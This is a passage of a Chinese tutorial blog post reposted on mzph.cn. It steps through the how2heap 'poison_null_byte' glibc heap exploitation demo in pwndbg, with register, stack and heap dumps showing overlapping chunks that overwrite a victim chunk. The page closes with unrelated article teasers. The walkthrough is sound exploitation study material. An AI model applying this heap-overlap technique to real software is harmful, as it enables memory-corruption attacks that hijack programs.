03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40091d main+583f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603220 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603220 /* ' 2`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0xf0                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310:       0x00000000000000f0      0x0000000000000000
0x603320:       0x0000000000000210      0x0000000000000110
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
pwndbg> 

wndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0xf0                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/10gx 0x603320-0x10
0x603310:       0x00000000000000f0      0x0000000000000000
0x603320:       0x0000000000000210      0x0000000000000110
0x603330:       0x0000000000000000      0x0000000000000000
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
 

0x603320:       0x0000000000000210      0x0000000000000110 是切割后剩余chunk大小

0x603310:       0x00000000000000f0      0x0000000000000000 之前伪造的pre_size

3.3.5 设置断点第61行并走起

接下来再去申请一块小于0xf0的堆块,这样就会继续分割b剩下的那一块(我们把这次申请的堆块填充上’B’来区分)。

pwndbg> b 61
Breakpoint 5 at 0x400a18: file poison_null_byte.c, line 61.
pwndbg> c
Continuing.
申请一个 0x100 大小的 b1: 0x603120
现在我们 malloc 了 b1 他将会放在 b 的位置,这时候 c 的 prev_size 依然是: 0x210
但是我们之前写 0x200 那个地方已经改成了: f0
接下来 malloc 'b2', 作为 'victim' chunk.
b2 申请在: 0x603230
现在 b2 填充的内容是:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.Breakpoint 5, main () at poison_null_byte.c:62
62          free(b1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x87RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x400f00 ◂— out    0x8e, alR8   0x87R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x400a18 (main+834) ◂— mov    rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400a18 <main+834>    mov    rax, qword ptr [rbp - 0x18]0x400a1c <main+838>    mov    rdi, rax0x400a1f <main+841>    call   free@plt <0x400560>0x400a24 <main+846>    mov    rax, qword ptr [rbp - 0x38]0x400a28 <main+850>    mov    rdi, rax0x400a2b <main+853>    call   free@plt <0x400560>0x400a30 <main+858>    mov    rax, qword ptr [rip + 0x201629] <0x602060>0x400a37 <main+865>    mov    rcx, rax0x400a3a <main+868>    mov    edx, 0x4c0x400a3f <main+873>    mov    esi, 10x400a44 <main+878>    mov    edi, 0x400ff8
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c57 58     memset(b2,'B',0x80);59     fprintf(stderr, "现在 b2 填充的内容是:\n%s\n",b2);60     fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");61 ► 62     free(b1);63     free(c);64     65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66     d = malloc(0x300);67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x111
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x7ffff7dd1d68 (main_arena+584) —▸ 0x7ffff7dd1d58 (main_arena+568) —▸ 0x7ffff7dd1d48 (main_arena+552) ◂— ...
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a18 main+834f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:61
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x110                Used                None              None
0x603220            0x0                 0x90                 Used                None              None
0x6032b0            0x0                 0x60                 Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
Corrupt ?! (size == 0) (0x603310)
pwndbg> x/30gx 0x603220
0x603220:       0x0000000000000000      0x0000000000000091
0x603230:       0x4242424242424242      0x4242424242424242
0x603240:       0x4242424242424242      0x4242424242424242
0x603250:       0x4242424242424242      0x4242424242424242
0x603260:       0x4242424242424242      0x4242424242424242
0x603270:       0x4242424242424242      0x4242424242424242
0x603280:       0x4242424242424242      0x4242424242424242
0x603290:       0x4242424242424242      0x4242424242424242
0x6032a0:       0x4242424242424242      0x4242424242424242
0x6032b0:       0x0000000000000000      0x0000000000000061
0x6032c0:       0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x6032d0:       0x0000000000000000      0x0000000000000000
0x6032e0:       0x0000000000000000      0x0000000000000000
0x6032f0:       0x0000000000000000      0x0000000000000000
0x603300:       0x0000000000000000      0x0000000000000000
pwndbg> 

3.3.6 设置断点第64行并走起

接下来free掉b1和c,因为c的prev_size仍然是0x210,按照这个去找的话就可以找到原本的b,现在的b1的位置,那么他们俩会合并,但是中间还有个b2呢。这里how2heap有一个注释。

Typically b2 (the victim) will be a structure with valuable pointers that we want to control
通常b2(受害者)将是一个结构,其中包含我们要控制的有价值的指针

 

pwndbg> b 64
Breakpoint 6 at 0x400a30: file poison_null_byte.c, line 64.
pwndbg> c
Continuing.Breakpoint 6, main () at poison_null_byte.c:65
65          fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x0RDI  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RSI  0x0R8   0x87R9   0x1R10  0x1R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x400a30 (main+858) ◂— mov    rax, qword ptr [rip + 0x201629]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400a1c <main+838>    mov    rdi, rax0x400a1f <main+841>    call   free@plt <0x400560>0x400a24 <main+846>    mov    rax, qword ptr [rbp - 0x38]0x400a28 <main+850>    mov    rdi, rax0x400a2b <main+853>    call   free@plt <0x400560>► 0x400a30 <main+858>    mov    rax, qword ptr [rip + 0x201629] <0x602060>0x400a37 <main+865>    mov    rcx, rax0x400a3a <main+868>    mov    edx, 0x4c0x400a3f <main+873>    mov    esi, 10x400a44 <main+878>    mov    edi, 0x400ff80x400a49 <main+883>    call   fwrite@plt <0x4005c0>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c60     fprintf(stderr, "现在对 b1 和 c 进行 free 因为 c 的 prev_size 是 0x210,所以会把他俩给合并,但是这时候里面还包含 b2 呐.\n");61 62     free(b1);63     free(c);64     ► 65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66     d = malloc(0x300);67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);68     memset(d,'D',0x300);69     fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x0
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x210
07:0038│      0x7fffffffe5a8 —▸ 0x603120 —▸ 0x6032b0 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a30 main+858f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:64
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x320                Freed           0x6032b0    0x7ffff7dd1b78
0x603430            0x320               0x110                Used                None              None
pwndbg> c

3.3.7 设置断点第70行并走起

那么接下来的事情就是申请一块大的chunk,然后随便改写b2的内容了。

pwndbg> b 70
Breakpoint 7 at 0x400ab1: file poison_null_byte.c, line 70.
pwndbg> c
Continuing.
这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了
d 申请到了: 0x603120,我们填充一下 d 为 "D"
现在 b2 的内容就是:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDBreakpoint 7, main () at poison_null_byte.c:70
70      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbee0 ◂— 0x6220a89ce5b08ee7R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x20cR10  0x1f0R11  0x246R12  0x4005e0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400ac0 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe570 ◂— 0x108f7ffe168RIP  0x400ab1 (main+987) ◂— leave  
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400ab1       <main+987>                 leave  0x400ab2       <main+988>                 ret    ↓0x7ffff7a2d830 <__libc_start_main+240>    mov    edi, eax0x7ffff7a2d832 <__libc_start_main+242>    call   exit <0x7ffff7a47030>0x7ffff7a2d837 <__libc_start_main+247>    xor    edx, edx0x7ffff7a2d839 <__libc_start_main+249>    jmp    __libc_start_main+57 <0x7ffff7a2d779>0x7ffff7a2d83e <__libc_start_main+254>    mov    rax, qword ptr [rip + 0x3a8ecb] <0x7ffff7dd6710>0x7ffff7a2d845 <__libc_start_main+261>    ror    rax, 0x110x7ffff7a2d849 <__libc_start_main+265>    xor    rax, qword ptr fs:[0x30]0x7ffff7a2d852 <__libc_start_main+274>    call   rax0x7ffff7a2d854 <__libc_start_main+276>    mov    rax, qword ptr [rip + 0x3a8ea5] <0x7ffff7dd6700>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/poison_null_byte.c65     fprintf(stderr, "这时候我们申请一个 0x300 大小的 chunk 就可以覆盖着 b2 了\n");66     d = malloc(0x300);67     fprintf(stderr, "d 申请到了: %p,我们填充一下 d 为 \"D\"\n",d);68     memset(d,'D',0x300);69     fprintf(stderr, "现在 b2 的内容就是:\n%s\n",b2);► 70 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe570 ◂— 0x108f7ffe168
01:0008│      0x7fffffffe578 —▸ 0x603010 ◂— 0x0
02:0010│      0x7fffffffe580 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
03:0018│      0x7fffffffe588 —▸ 0x603330 ◂— 0x4444444444444444 ('DDDDDDDD')
04:0020│      0x7fffffffe590 —▸ 0x603440 ◂— 0x0
05:0028│      0x7fffffffe598 —▸ 0x603118 ◂— 0x321
06:0030│      0x7fffffffe5a0 —▸ 0x603320 ◂— 0x4444444444444444 ('DDDDDDDD')
07:0038│      0x7fffffffe5a8 —▸ 0x603120 ◂— 0x4444444444444444 ('DDDDDDDD')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400ab1 main+987f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/poison_null_byte.c:70
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x110                Used                None              None
0x603110            0x0                 0x320                Used                None              None
0x603430            0x320               0x110                Used                None              None
pwndbg> x/30gx 0x603110
0x603110:       0x0000000000000000      0x0000000000000321
0x603120:       0x4444444444444444      0x4444444444444444
0x603130:       0x4444444444444444      0x4444444444444444
0x603140:       0x4444444444444444      0x4444444444444444
0x603150:       0x4444444444444444      0x4444444444444444
0x603160:       0x4444444444444444      0x4444444444444444
0x603170:       0x4444444444444444      0x4444444444444444
0x603180:       0x4444444444444444      0x4444444444444444
0x603190:       0x4444444444444444      0x4444444444444444
0x6031a0:       0x4444444444444444      0x4444444444444444
0x6031b0:       0x4444444444444444      0x4444444444444444
0x6031c0:       0x4444444444444444      0x4444444444444444
0x6031d0:       0x4444444444444444      0x4444444444444444
0x6031e0:       0x4444444444444444      0x4444444444444444
0x6031f0:       0x4444444444444444      0x4444444444444444
pwndbg> 

 

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/678373.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P1028 [NOIP2001 普及组] 数的计算题解

题目 给出正整数n&#xff0c;要求按如下方式构造数列&#xff1a; 只有一个数字n的数列是一个合法的数列。在一个合法的数列的末尾加入一个正整数&#xff0c;但是这个正整数不能超过该数列最后一项的一半&#xff0c;可以得到一个新的合法数列。 请你求出&#xff0c;一共…

提高效率!企业短信通道账单拆分一键处理,干货分享

**提高效率!企业短信通道账单拆分一键处理,干货分享! 昨天从硬盘里看到2019年写的 账单拆分案列,这里分享给大家 文章目录 **提高效率!企业短信通道账单拆分一键处理,干货分享!背景企业短信通道账单展示干货来了用python拆分短信账号最后短信通道账单拆分后的处理。最后…

C#,最大公共子序列(LCS,Longest Common Subsequences)的算法与源代码

1 最大公共子序列 最长的常见子序列问题是寻找两个给定字符串中存在的最长序列。 最大公共子序列算法&#xff0c;常用于犯罪鉴定、亲子鉴定等等的 DNA 比对。 1.1 子序列 让我们考虑一个序列S<s1&#xff0c;s2&#xff0c;s3&#xff0c;s4&#xff0c;…&#xff0c;…

常见性能优化策略

对于经常接触高并发服务的同学来学&#xff0c;会经常涉及到性能优化&#xff0c;但是由于平时很少总结&#xff0c;内容会比较分散&#xff0c;这里简单做一些总结 1&#xff1a;空间换时间 比如一些数据的访问需要很快返回结果&#xff0c;原本在磁盘上的数据&#xff0c;需…

算法------(11)并查集

例题&#xff1a; &#xff08;1&#xff09;Acwing 836.合并集合 并查集就是把每一个集合看成一棵树&#xff0c;记录每个节点的父节点。合并集合就是把一棵树变成另一棵树的子树&#xff0c;即把一棵树的父节点变为另一棵树的父节点的儿子。查询是否在同一集合就是看他们的根…

02.数据结构

一、单链表 作用&#xff1a;用于写邻接表&#xff1b; 邻接表作用&#xff1a;用于存储图或树&#xff1b; 1、用数组模拟单链表 #include<iostream> using namespace std;const int N 100010;// head 表示头结点的下标 // e[i] 表示结点i的值 // ne[i] 表示结点i的…

【OrangePi Zero2的系统移植】交叉编译工具链配置、wiringOP库、智能分类工程代码

一、交叉编译工具链配置 二、交叉编译wiringOP库 三、交叉编译智能分类工程代码 四、Makefile 用于编译 WiringPi 库 一、交叉编译工具链配置 1、关于编译 编译是指将源代码文件&#xff08;如C/C文件&#xff09;经过预处理、编译、汇编和链接等步骤&#xff0c;转换为可执…

开发JSP自定义标记

开发JSP自定义标记 您已经学习了如何用JavaBean处理JSP页面的业务逻辑。除此以外,您还可以用自定义标记处理JSP应用程序中反复出现的业务逻辑要求。 tag是程序中使用的执行重复性任务的可重用单元。例如, 是使主体文本在网页中间出现的HTML标记。JSP可用于创建于XML标记类似…

(c语言版)数组去重和排序 题目描述: 给定一个乱序的数组,删除所有的重复元素,使得每个元素只出现一次,并且按照出现的次数从高到低

【编程题目 | 100分】数组去重和排序 [ 100 / 中等 ] 数组去重和排序 题目描述&#xff1a; 给定一个乱序的数组&#xff0c;删除所有的重复元素&#xff0c;使得每个元素只出现一次&#xff0c;并且按照出现的次数从高到低进行排序&#xff0c;相同出现次数按照第一次出现顺序…

R语言【utlis】——alarm():提示音或提示符

Package utils version 4.2.0 Description 给用户一个声音或视觉信号。 Usage alarm() Details alarm()通过向控制台发送一个“\a”字符来工作。在大多数平台上&#xff0c;这将向用户发出铃声、嘟嘟声或其他信号(除非重定向了标准输出)。 它尝试刷新控制台(请参阅flush.co…

极限的唯一性推导

定义推导 根据函数的 y f ( x ) yf(x) yf(x)的定义,x∈集合A,y∈集合B,集合A对应B的关系是单射即一个x只能对应一个y。固 lim ⁡ x − > ∗ f ( x ) A \lim\limits_{x->*}f(x)A x−>∗lim​f(x)A存在,那么其极限必定唯一 反证法 函数 f ( x ) 存在极限 lim ⁡ x −…

【Rust】——猜数游戏

&#x1f383;个人专栏&#xff1a; &#x1f42c; 算法设计与分析&#xff1a;算法设计与分析_IT闫的博客-CSDN博客 &#x1f433;Java基础&#xff1a;Java基础_IT闫的博客-CSDN博客 &#x1f40b;c语言&#xff1a;c语言_IT闫的博客-CSDN博客 &#x1f41f;MySQL&#xff1a…

【数据结构与算法】【小白也能学的数据结构与算法】递归 分治 迭代 动态规划 无从下手?一文通!!!

&#x1f389;&#x1f389;欢迎光临&#x1f389;&#x1f389; &#x1f3c5;我是苏泽&#xff0c;一位对技术充满热情的探索者和分享者。&#x1f680;&#x1f680; &#x1f31f;特别推荐给大家我的最新专栏《数据结构与算法&#xff1a;初学者入门指南》&#x1f4d8;&am…

例37:爱好选择

建立一个新的EXE工程&#xff0c;放两个单选&#xff0c;两个复选框如图33。 图33 输入代码&#xff1a; Sub Form1_Check1_BN_Clicked(hWndForm As hWnd, hWndControl As hWnd)Text1.Text ""If Check1.Value ThenText1.Text"你喜欢" & Check1.Cap…

Linux运行级别 | 管理Linux服务

Linux运行级别 级别&#xff1a; 0关机1单用户2多用户但是不运行nfs网路文件系统3默认的运行级别&#xff0c;给一个黑的屏幕&#xff0c;只能敲命令4未使用5默认的运行级别&#xff0c;图形界面6重启切换运行级别&#xff1a; init x管理Linux服务 systemctl命令&#xf…

鸿蒙实战开发-全局UI方法的功能

主要开发内容 时间调节 使用全局UI的方法定义日期滑动选择器弹窗并弹出。 操作说明&#xff1a;首先创建一个包含按钮的用户界面&#xff0c;当用户点击“时间设置”按钮时&#xff0c;会弹出调用TimePickerDialog组件的show方法&#xff0c;显示一个时间选择对话框&#xff…

[word] word表格内容自动编号 #经验分享#微信#其他

word表格内容自动编号 在表格中的内容怎么样自动编号&#xff1f;我们都知道Word表格和Excel表格有所不同&#xff0c;Excel表格可以轻松自动编号&#xff0c;那么在Word表格中如何自动编号呢&#xff1f; 1、选中内容后&#xff0c;点击段落-自动编号&#xff0c;选择其中一…

vscode远程连接失败

目录 解决方案尝试1解决方案尝试2 解决方案尝试1 最近通过vscode一直使用腾讯云的服务器作为远程开发环境&#xff0c;以前一直很好用。 直到最近重装了系统之后&#xff0c;发现vscode没法对云服务器进行连接了&#xff0c;即使在远程主机添加了本地的公钥也不行。直接报错:…

ChatGpt报错:We ran into an issue while authenticating you解决办法

在登录ChatGpt时报错&#xff1a;Oops&#xff01;,We ran into an issue while authenticating you.(我们在验证您时遇到问题)&#xff0c;记录一下解决过程。 完整报错&#xff1a; We ran into an issue while authenticating you. If this issue persists, please contact…

LeetCode 第384场周赛个人题解

目录 100230. 修改矩阵 题目链接 题目描述 接口描述 思路分析 代码详解 100186. 匹配模式数组的子数组数目 I 题目链接 题目描述 接口描述 思路分析 代码详解 100219. 回文字符串的最大数量 题目链接 题目描述 接口描述 思路分析 代码详解 100198. 匹配模式数…